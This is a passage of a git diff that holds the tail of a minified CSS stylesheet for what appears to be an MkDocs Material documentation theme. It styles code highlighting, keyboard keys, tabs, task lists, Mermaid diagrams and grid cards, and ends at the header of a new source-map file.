.ss{color:var(--md-code-hl-string-color)}.highlight .cp,.highlight .se,.highlight .sh,.highlight .sr,.highlight .sx{color:var(--md-code-hl-special-color)}.highlight .il,.highlight .m,.highlight .mb,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo{color:var(--md-code-hl-number-color)}.highlight .k,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,.highlight .kt{color:var(--md-code-hl-keyword-color)}.highlight .kc,.highlight .n{color:var(--md-code-hl-name-color)}.highlight .bp,.highlight .nb,.highlight .no{color:var(--md-code-hl-constant-color)}.highlight .nc,.highlight .ne,.highlight .nf,.highlight .nn{color:var(--md-code-hl-function-color)}.highlight .nd,.highlight .ni,.highlight .nl,.highlight .nt{color:var(--md-code-hl-keyword-color)}.highlight .c,.highlight .c1,.highlight .ch,.highlight .cm,.highlight .cs,.highlight .sd{color:var(--md-code-hl-comment-color)}.highlight .na,.highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi{color:var(--md-code-hl-variable-color)}.highlight .ge,.highlight .gh,.highlight .go,.highlight .gp,.highlight .gr,.highlight .gs,.highlight .gt,.highlight .gu{color:var(--md-code-hl-generic-color)}.highlight .gd,.highlight .gi{border-radius:.1rem;margin:0 -.125em;padding:0 .125em}.highlight .gd{background-color:var(--md-typeset-del-color)}.highlight .gi{background-color:var(--md-typeset-ins-color)}.highlight .hll{background-color:var(--md-code-hl-color--light);box-shadow:2px 0 0 0 var(--md-code-hl-color) inset;display:block;margin:0 -1.1764705882em;padding:0 1.1764705882em}.highlight span.filename{background-color:var(--md-code-bg-color);border-bottom:.05rem solid var(--md-default-fg-color--lightest);border-top-left-radius:.1rem;border-top-right-radius:.1rem;display:flow-root;font-size:.85em;font-weight:700;margin-top:1em;padding:.6617647059em 1.1764705882em;position:relative}.highlight span.filename+pre{margin-top:0}.highlight span.filename+pre>code{border-top-left-radius:0;border-top-right-radius:0}.highlight [data-linenos]:before{background-color:var(--md-code-bg-color);box-shadow:-.05rem 0 var(--md-default-fg-color--lightest) inset;color:var(--md-default-fg-color--light);content:attr(data-linenos);float:left;left:-1.1764705882em;margin-left:-1.1764705882em;margin-right:1.1764705882em;padding-left:1.1764705882em;position:sticky;-webkit-user-select:none;user-select:none;z-index:3}.highlight code a[id]{position:absolute;visibility:hidden}.highlight code[data-md-copying]{display:initial}.highlight code[data-md-copying] .hll{display:contents}.highlight code[data-md-copying] .md-annotation{display:none}.highlighttable{display:flow-root}.highlighttable tbody,.highlighttable td{display:block;padding:0}.highlighttable tr{display:flex}.highlighttable pre{margin:0}.highlighttable th.filename{flex-grow:1;padding:0;text-align:left}.highlighttable th.filename span.filename{margin-top:0}.highlighttable .linenos{background-color:var(--md-code-bg-color);border-bottom-left-radius:.1rem;border-top-left-radius:.1rem;font-size:.85em;padding:.7720588235em 0 .7720588235em 1.1764705882em;-webkit-user-select:none;user-select:none}.highlighttable .linenodiv{box-shadow:-.05rem 0 var(--md-default-fg-color--lightest) inset;padding-right:.5882352941em}.highlighttable .linenodiv pre{color:var(--md-default-fg-color--light);text-align:right}.highlighttable .code{flex:1;min-width:0}.linenodiv a{color:inherit}.md-typeset .highlighttable{direction:ltr;margin:1em 0}.md-typeset .highlighttable>tbody>tr>.code>div>pre>code{border-bottom-left-radius:0;border-top-left-radius:0}.md-typeset .highlight+.result{border:.05rem solid var(--md-code-bg-color);border-bottom-left-radius:.1rem;border-bottom-right-radius:.1rem;border-top-width:.1rem;margin-top:-1.125em;overflow:visible;padding:0 1em}.md-typeset .highlight+.result:after{clear:both;content:"";display:block}@media screen and (max-width:44.984375em){.md-content__inner>.highlight{margin:1em -.8rem}.md-content__inner>.highlight>.filename,.md-content__inner>.highlight>.highlighttable>tbody>tr>.code>div>pre>code,.md-content__inner>.highlight>.highlighttable>tbody>tr>.filename span.filename,.md-content__inner>.highlight>.highlighttable>tbody>tr>.linenos,.md-content__inner>.highlight>pre>code{border-radius:0}.md-content__inner>.highlight+.result{border-left-width:0;border-radius:0;border-right-width:0;margin-left:-.8rem;margin-right:-.8rem}}.md-typeset .keys kbd:after,.md-typeset .keys kbd:before{-moz-osx-font-smoothing:initial;-webkit-font-smoothing:initial;color:inherit;margin:0;position:relative}.md-typeset .keys span{color:var(--md-default-fg-color--light);padding:0 .2em}.md-typeset .keys .key-alt:before,.md-typeset .keys .key-left-alt:before,.md-typeset .keys .key-right-alt:before{content:"⎇";padding-right:.4em}.md-typeset .keys .key-command:before,.md-typeset .keys .key-left-command:before,.md-typeset .keys .key-right-command:before{content:"⌘";padding-right:.4em}.md-typeset .keys .key-control:before,.md-typeset .keys .key-left-control:before,.md-typeset .keys .key-right-control:before{content:"⌃";padding-right:.4em}.md-typeset .keys .key-left-meta:before,.md-typeset .keys .key-meta:before,.md-typeset .keys .key-right-meta:before{content:"◆";padding-right:.4em}.md-typeset .keys .key-left-option:before,.md-typeset .keys .key-option:before,.md-typeset .keys .key-right-option:before{content:"⌥";padding-right:.4em}.md-typeset .keys .key-left-shift:before,.md-typeset .keys .key-right-shift:before,.md-typeset .keys .key-shift:before{content:"⇧";padding-right:.4em}.md-typeset .keys .key-left-super:before,.md-typeset .keys .key-right-super:before,.md-typeset .keys .key-super:before{content:"❖";padding-right:.4em}.md-typeset .keys .key-left-windows:before,.md-typeset .keys .key-right-windows:before,.md-typeset .keys .key-windows:before{content:"⊞";padding-right:.4em}.md-typeset .keys .key-arrow-down:before{content:"↓";padding-right:.4em}.md-typeset .keys .key-arrow-left:before{content:"←";padding-right:.4em}.md-typeset .keys .key-arrow-right:before{content:"→";padding-right:.4em}.md-typeset .keys .key-arrow-up:before{content:"↑";padding-right:.4em}.md-typeset .keys .key-backspace:before{content:"⌫";padding-right:.4em}.md-typeset .keys .key-backtab:before{content:"⇤";padding-right:.4em}.md-typeset .keys .key-caps-lock:before{content:"⇪";padding-right:.4em}.md-typeset .keys .key-clear:before{content:"⌧";padding-right:.4em}.md-typeset .keys .key-context-menu:before{content:"☰";padding-right:.4em}.md-typeset .keys .key-delete:before{content:"⌦";padding-right:.4em}.md-typeset .keys .key-eject:before{content:"⏏";padding-right:.4em}.md-typeset .keys .key-end:before{content:"⤓";padding-right:.4em}.md-typeset .keys .key-escape:before{content:"⎋";padding-right:.4em}.md-typeset .keys .key-home:before{content:"⤒";padding-right:.4em}.md-typeset .keys .key-insert:before{content:"⎀";padding-right:.4em}.md-typeset .keys .key-page-down:before{content:"⇟";padding-right:.4em}.md-typeset .keys .key-page-up:before{content:"⇞";padding-right:.4em}.md-typeset .keys .key-print-screen:before{content:"⎙";padding-right:.4em}.md-typeset .keys .key-tab:after{content:"⇥";padding-left:.4em}.md-typeset .keys .key-num-enter:after{content:"⌤";padding-left:.4em}.md-typeset .keys .key-enter:after{content:"⏎";padding-left:.4em}:root{--md-tabbed-icon--prev:url('data:image/svg+xml;charset=utf-8,');--md-tabbed-icon--next:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .tabbed-set{border-radius:.1rem;display:flex;flex-flow:column wrap;margin:1em 0;position:relative}.md-typeset .tabbed-set>input{height:0;opacity:0;position:absolute;width:0}.md-typeset .tabbed-set>input:target{--md-scroll-offset:0.625em}.md-typeset .tabbed-set>input.focus-visible~.tabbed-labels:before{background-color:var(--md-accent-fg-color)}.md-typeset .tabbed-labels{-ms-overflow-style:none;box-shadow:0 -.05rem var(--md-default-fg-color--lightest) inset;display:flex;max-width:100%;overflow:auto;scrollbar-width:none}@media print{.md-typeset .tabbed-labels{display:contents}}@media screen{.js .md-typeset .tabbed-labels{position:relative}.js .md-typeset .tabbed-labels:before{background:var(--md-default-fg-color);bottom:0;content:"";display:block;height:2px;left:0;position:absolute;transform:translateX(var(--md-indicator-x));transition:width 225ms,background-color .25s,transform .25s;transition-timing-function:cubic-bezier(.4,0,.2,1);width:var(--md-indicator-width)}}.md-typeset .tabbed-labels::-webkit-scrollbar{display:none}.md-typeset .tabbed-labels>label{border-bottom:.1rem solid #0000;border-radius:.1rem .1rem 0 0;color:var(--md-default-fg-color--light);cursor:pointer;flex-shrink:0;font-size:.64rem;font-weight:700;padding:.78125em 1.25em .625em;scroll-margin-inline-start:1rem;transition:background-color .25s,color .25s;white-space:nowrap;width:auto}@media print{.md-typeset .tabbed-labels>label:first-child{order:1}.md-typeset .tabbed-labels>label:nth-child(2){order:2}.md-typeset .tabbed-labels>label:nth-child(3){order:3}.md-typeset .tabbed-labels>label:nth-child(4){order:4}.md-typeset .tabbed-labels>label:nth-child(5){order:5}.md-typeset .tabbed-labels>label:nth-child(6){order:6}.md-typeset .tabbed-labels>label:nth-child(7){order:7}.md-typeset .tabbed-labels>label:nth-child(8){order:8}.md-typeset .tabbed-labels>label:nth-child(9){order:9}.md-typeset .tabbed-labels>label:nth-child(10){order:10}.md-typeset .tabbed-labels>label:nth-child(11){order:11}.md-typeset .tabbed-labels>label:nth-child(12){order:12}.md-typeset .tabbed-labels>label:nth-child(13){order:13}.md-typeset .tabbed-labels>label:nth-child(14){order:14}.md-typeset .tabbed-labels>label:nth-child(15){order:15}.md-typeset .tabbed-labels>label:nth-child(16){order:16}.md-typeset .tabbed-labels>label:nth-child(17){order:17}.md-typeset .tabbed-labels>label:nth-child(18){order:18}.md-typeset .tabbed-labels>label:nth-child(19){order:19}.md-typeset .tabbed-labels>label:nth-child(20){order:20}}.md-typeset .tabbed-labels>label:hover{color:var(--md-default-fg-color)}.md-typeset .tabbed-labels>label>[href]:first-child{color:inherit}.md-typeset .tabbed-labels--linked>label{padding:0}.md-typeset .tabbed-labels--linked>label>a{display:block;padding:.78125em 1.25em .625em}.md-typeset .tabbed-content{width:100%}@media print{.md-typeset .tabbed-content{display:contents}}.md-typeset .tabbed-block{display:none}@media print{.md-typeset .tabbed-block{display:block}.md-typeset .tabbed-block:first-child{order:1}.md-typeset .tabbed-block:nth-child(2){order:2}.md-typeset .tabbed-block:nth-child(3){order:3}.md-typeset .tabbed-block:nth-child(4){order:4}.md-typeset .tabbed-block:nth-child(5){order:5}.md-typeset .tabbed-block:nth-child(6){order:6}.md-typeset .tabbed-block:nth-child(7){order:7}.md-typeset .tabbed-block:nth-child(8){order:8}.md-typeset .tabbed-block:nth-child(9){order:9}.md-typeset .tabbed-block:nth-child(10){order:10}.md-typeset .tabbed-block:nth-child(11){order:11}.md-typeset .tabbed-block:nth-child(12){order:12}.md-typeset .tabbed-block:nth-child(13){order:13}.md-typeset .tabbed-block:nth-child(14){order:14}.md-typeset .tabbed-block:nth-child(15){order:15}.md-typeset .tabbed-block:nth-child(16){order:16}.md-typeset .tabbed-block:nth-child(17){order:17}.md-typeset .tabbed-block:nth-child(18){order:18}.md-typeset .tabbed-block:nth-child(19){order:19}.md-typeset .tabbed-block:nth-child(20){order:20}}.md-typeset .tabbed-block>.highlight:first-child>pre,.md-typeset .tabbed-block>pre:first-child{margin:0}.md-typeset .tabbed-block>.highlight:first-child>pre>code,.md-typeset .tabbed-block>pre:first-child>code{border-top-left-radius:0;border-top-right-radius:0}.md-typeset .tabbed-block>.highlight:first-child>.filename{border-top-left-radius:0;border-top-right-radius:0;margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable{margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.filename span.filename,.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.linenos{border-top-left-radius:0;border-top-right-radius:0;margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.code>div>pre>code{border-top-left-radius:0;border-top-right-radius:0}.md-typeset .tabbed-block>.highlight:first-child+.result{margin-top:-.125em}.md-typeset .tabbed-block>.tabbed-set{margin:0}.md-typeset .tabbed-button{align-self:center;border-radius:100%;color:var(--md-default-fg-color--light);cursor:pointer;display:block;height:.9rem;margin-top:.1rem;pointer-events:auto;transition:background-color .25s;width:.9rem}.md-typeset .tabbed-button:hover{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-typeset .tabbed-button:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-tabbed-icon--prev);mask-image:var(--md-tabbed-icon--prev);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color .25s,transform .25s;width:100%}.md-typeset .tabbed-control{background:linear-gradient(to right,var(--md-default-bg-color) 60%,#0000);display:flex;height:1.9rem;justify-content:start;pointer-events:none;position:absolute;transition:opacity 125ms;width:1.2rem}[dir=rtl] .md-typeset .tabbed-control{transform:rotate(180deg)}.md-typeset .tabbed-control[hidden]{opacity:0}.md-typeset .tabbed-control--next{background:linear-gradient(to left,var(--md-default-bg-color) 60%,#0000);justify-content:end;right:0}.md-typeset .tabbed-control--next .tabbed-button:after{-webkit-mask-image:var(--md-tabbed-icon--next);mask-image:var(--md-tabbed-icon--next)}@media screen and (max-width:44.984375em){[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels{padding-left:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels{padding-right:.8rem}.md-content__inner>.tabbed-set .tabbed-labels{margin:0 -.8rem;max-width:100vw;scroll-padding-inline-start:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels:after{padding-right:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels:after{padding-left:.8rem}.md-content__inner>.tabbed-set .tabbed-labels:after{content:""}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{padding-left:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{padding-right:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{margin-left:-.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{margin-right:-.8rem}.md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{width:2rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{padding-right:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{padding-left:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{margin-right:-.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{margin-left:-.8rem}.md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{width:2rem}}@media screen{.md-typeset .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9){color:var(--md-default-fg-color)}.md-typeset .no-js .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.md-typeset .no-js .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.md-typeset .no-js .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.md-typeset .no-js .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.md-typeset .no-js .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.md-typeset .no-js .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.md-typeset .no-js .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.md-typeset .no-js .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.md-typeset .no-js .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.md-typeset .no-js .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.md-typeset .no-js .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.md-typeset .no-js .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.md-typeset .no-js .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.md-typeset .no-js .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.md-typeset .no-js .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.md-typeset .no-js .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.md-typeset .no-js .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.md-typeset .no-js .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.md-typeset .no-js .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.md-typeset .no-js .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9),.no-js .md-typeset .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.no-js .md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.no-js .md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.no-js .md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.no-js .md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.no-js .md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.no-js .md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.no-js .md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.no-js .md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.no-js .md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.no-js .md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.no-js .md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.no-js .md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.no-js .md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.no-js .md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.no-js .md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.no-js .md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.no-js .md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.no-js .md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.no-js .md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9){border-color:var(--md-default-fg-color)}}.md-typeset .tabbed-set>input:first-child.focus-visible~.tabbed-labels>:first-child,.md-typeset .tabbed-set>input:nth-child(10).focus-visible~.tabbed-labels>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11).focus-visible~.tabbed-labels>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12).focus-visible~.tabbed-labels>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13).focus-visible~.tabbed-labels>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14).focus-visible~.tabbed-labels>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15).focus-visible~.tabbed-labels>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16).focus-visible~.tabbed-labels>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17).focus-visible~.tabbed-labels>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18).focus-visible~.tabbed-labels>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19).focus-visible~.tabbed-labels>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2).focus-visible~.tabbed-labels>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20).focus-visible~.tabbed-labels>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3).focus-visible~.tabbed-labels>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4).focus-visible~.tabbed-labels>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5).focus-visible~.tabbed-labels>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6).focus-visible~.tabbed-labels>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7).focus-visible~.tabbed-labels>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8).focus-visible~.tabbed-labels>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9).focus-visible~.tabbed-labels>:nth-child(9){color:var(--md-accent-fg-color)}.md-typeset .tabbed-set>input:first-child:checked~.tabbed-content>:first-child,.md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-content>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-content>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-content>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-content>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-content>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-content>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-content>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-content>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-content>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-content>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-content>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-content>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-content>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-content>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-content>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-content>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-content>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-content>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-content>:nth-child(9){display:block}:root{--md-tasklist-icon:url('data:image/svg+xml;charset=utf-8,');--md-tasklist-icon--checked:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .task-list-item{list-style-type:none;position:relative}[dir=ltr] .md-typeset .task-list-item [type=checkbox]{left:-2em}[dir=rtl] .md-typeset .task-list-item [type=checkbox]{right:-2em}.md-typeset .task-list-item [type=checkbox]{position:absolute;top:.45em}.md-typeset .task-list-control [type=checkbox]{opacity:0;z-index:-1}[dir=ltr] .md-typeset .task-list-indicator:before{left:-1.5em}[dir=rtl] .md-typeset .task-list-indicator:before{right:-1.5em}.md-typeset .task-list-indicator:before{background-color:var(--md-default-fg-color--lightest);content:"";height:1.25em;-webkit-mask-image:var(--md-tasklist-icon);mask-image:var(--md-tasklist-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.15em;width:1.25em}.md-typeset [type=checkbox]:checked+.task-list-indicator:before{background-color:#00e676;-webkit-mask-image:var(--md-tasklist-icon--checked);mask-image:var(--md-tasklist-icon--checked)}:root>*{--md-mermaid-font-family:var(--md-text-font-family),sans-serif;--md-mermaid-edge-color:var(--md-code-fg-color);--md-mermaid-node-bg-color:var(--md-accent-fg-color--transparent);--md-mermaid-node-fg-color:var(--md-accent-fg-color);--md-mermaid-label-bg-color:var(--md-default-bg-color);--md-mermaid-label-fg-color:var(--md-code-fg-color);--md-mermaid-sequence-actor-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-actor-fg-color:var(--md-mermaid-label-fg-color);--md-mermaid-sequence-actor-border-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-actor-line-color:var(--md-default-fg-color--lighter);--md-mermaid-sequence-actorman-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-actorman-line-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-box-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-box-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-label-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-label-fg-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-loop-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-loop-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-loop-border-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-message-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-message-line-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-note-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-note-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-note-border-color:var(--md-mermaid-label-fg-color);--md-mermaid-sequence-number-bg-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-number-fg-color:var(--md-accent-bg-color)}.mermaid{line-height:normal;margin:1em 0}.md-typeset .grid{grid-gap:.4rem;display:grid;grid-template-columns:repeat(auto-fit,minmax(min(100%,16rem),1fr));margin:1em 0}.md-typeset .grid.cards>ol,.md-typeset .grid.cards>ul{display:contents}.md-typeset .grid.cards>ol>li,.md-typeset .grid.cards>ul>li,.md-typeset .grid>.card{border:.05rem solid var(--md-default-fg-color--lightest);border-radius:.1rem;display:block;margin:0;padding:.8rem;transition:border .25s,box-shadow .25s}.md-typeset .grid.cards>ol>li:focus-within,.md-typeset .grid.cards>ol>li:hover,.md-typeset .grid.cards>ul>li:focus-within,.md-typeset .grid.cards>ul>li:hover,.md-typeset .grid>.card:focus-within,.md-typeset .grid>.card:hover{border-color:#0000;box-shadow:var(--md-shadow-z2)}.md-typeset .grid.cards>ol>li>hr,.md-typeset .grid.cards>ul>li>hr,.md-typeset .grid>.card>hr{margin-bottom:1em;margin-top:1em}.md-typeset .grid.cards>ol>li>:first-child,.md-typeset .grid.cards>ul>li>:first-child,.md-typeset .grid>.card>:first-child{margin-top:0}.md-typeset .grid.cards>ol>li>:last-child,.md-typeset .grid.cards>ul>li>:last-child,.md-typeset .grid>.card>:last-child{margin-bottom:0}.md-typeset .grid>*,.md-typeset .grid>.admonition,.md-typeset .grid>.highlight>*,.md-typeset .grid>.highlighttable,.md-typeset .grid>.md-typeset details,.md-typeset .grid>details,.md-typeset .grid>pre{margin-bottom:0;margin-top:0}.md-typeset .grid>.highlight>pre:only-child,.md-typeset .grid>.highlight>pre>code,.md-typeset .grid>.highlighttable,.md-typeset .grid>.highlighttable>tbody,.md-typeset .grid>.highlighttable>tbody>tr,.md-typeset .grid>.highlighttable>tbody>tr>.code,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight>pre,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight>pre>code{height:100%}.md-typeset .grid>.tabbed-set{margin-bottom:0;margin-top:0}@media screen and (min-width:45em){[dir=ltr] .md-typeset .inline{float:left}[dir=rtl] .md-typeset .inline{float:right}[dir=ltr] .md-typeset .inline{margin-right:.8rem}[dir=rtl] .md-typeset .inline{margin-left:.8rem}.md-typeset .inline{margin-bottom:.8rem;margin-top:0;width:11.7rem}[dir=ltr] .md-typeset .inline.end{float:right}[dir=rtl] .md-typeset .inline.end{float:left}[dir=ltr] .md-typeset .inline.end{margin-left:.8rem;margin-right:0}[dir=rtl] .md-typeset .inline.end{margin-left:0;margin-right:.8rem}} \ No newline at end of file diff --git a/assets/stylesheets/main.3cba04c6.min.css.map b/assets/stylesheets/main.3cba04c6.min.css.map new file mode 100644 index 00000000..0d8f7b6b --- /dev/null +++ b/assets/stylesheets/main.3cba04c6.min.css.map @@ -0,0 +1 @@ 